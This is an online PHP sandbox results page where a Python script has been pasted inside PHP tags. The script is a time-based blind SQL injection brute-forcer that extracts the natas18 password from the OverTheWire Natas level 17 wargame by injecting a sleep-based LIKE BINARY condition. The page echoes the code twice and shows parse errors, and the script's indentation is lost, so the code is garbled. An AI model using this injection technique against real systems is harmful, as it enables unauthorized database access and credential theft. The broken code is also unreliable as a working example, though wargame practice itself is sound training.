<?
#!/usr/bin/python
import httplib2
import urllib
import time
h = httplib2.Http()
h.add_credentials('natas17', '********************************')
baseStr = ""
char = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
index = 0
while index < len(char):
query = urllib.urlencode(dict(username="natas18\" AND if(password LIKE BINARY \"" + baseStr + char[index] + "%\", sleep(2), 0);# "))
StartTime = int(time.time())
resp, content = h.request("http://natas17.natas.labs.overthewire.org/index.php?" + query, method="POST")
EndTime = int(time.time())
lapse = EndTime - StartTime
if lapse >= 2:
baseStr += char[index];
print("New Password: " + baseStr)
index = 0
continue
index += 1?>
- Output for 5.4.0 - 5.4.32, 7.2.29 - 7.2.33, 7.3.16 - 7.3.31, 7.4.3 - 7.4.32, 8.0.0 - 8.0.12, 8.0.14 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.7
- <?
#!/usr/bin/python
import httplib2
import urllib
import time
h = httplib2.Http()
h.add_credentials('natas17', '********************************')
baseStr = ""
char = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
index = 0
while index < len(char):
query = urllib.urlencode(dict(username="natas18\" AND if(password LIKE BINARY \"" + baseStr + char[index] + "%\", sleep(2), 0);# "))
StartTime = int(time.time())
resp, content = h.request("http://natas17.natas.labs.overthewire.org/index.php?" + query, method="POST")
EndTime = int(time.time())
lapse = EndTime - StartTime
if lapse >= 2:
baseStr += char[index];
print("New Password: " + baseStr)
index = 0
continue
index += 1?>
- Output for 8.0.13
- Parse error: syntax error, unexpected identifier "httplib2" in /in/4ube4 on line 3
Process exited with code 255. - Output for 5.4.34, 7.3.32 - 7.3.33, 7.4.33
- Parse error: syntax error, unexpected 'httplib2' (T_STRING) in /in/4ube4 on line 3
Process exited with code 255.
preferences:
138.69 ms | 402 KiB | 174 Q